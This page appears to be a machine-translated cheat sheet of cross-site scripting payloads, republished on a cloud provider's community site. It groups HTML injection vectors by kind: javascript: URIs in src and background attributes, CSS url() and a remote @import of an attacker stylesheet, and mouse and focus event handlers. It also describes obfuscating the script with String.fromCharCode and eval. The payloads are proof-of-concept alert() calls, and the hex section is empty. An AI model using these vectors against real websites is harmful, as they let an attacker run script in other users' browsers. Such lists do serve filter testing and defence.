Common JavaScript cross-site

Source: Internet
Author: User

  

First Class:

<iframe Src=javascript:alert () ></iframe>

<script Src=javascript:alert () ></script>

Second Category:

<div Style=background-image:url (Javascript:alert ()) >

<b Style=background-image:url (Javascript:alert ()) >

Referencing CSS files on other Web sites with a style tag

<STYLE> @import ' http://xxx.xom/xss.css ';</style>

The CSS file contains the cross-site program.

body{

Background-image:url (' Javascript:alert (); ');
}

Third Category:

<table Background=javascript:alert () ></table>

<body Background=javascript:alert () ></body>

Class Fourth:

<div Onmouseenter=alert () > Mouse into the region to perform javascript</div>

<div Onmouseleave=alert () > Mouse out of the area execution javascript</div>

<div Onmousewheel=alert () > Mouse on Selection wheel when performing javascript</div>

<div contenteditable= "true" Onfocusin=alert () > Get focus Execution javascript</div>

<div contenteditable= "true" Onfocusout=alert () > Lost Focus Execution javascript</div>

<marquee Onstart=alert () > Scroll content execution javascript</marquee> per display

The code to be executed "alert ()" is converted to a decimal ASCII, separated by commas, then decoded with String.fromCharCode, and finally executed with Eval

You can also do hex processing:

Common JavaScript cross-site

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.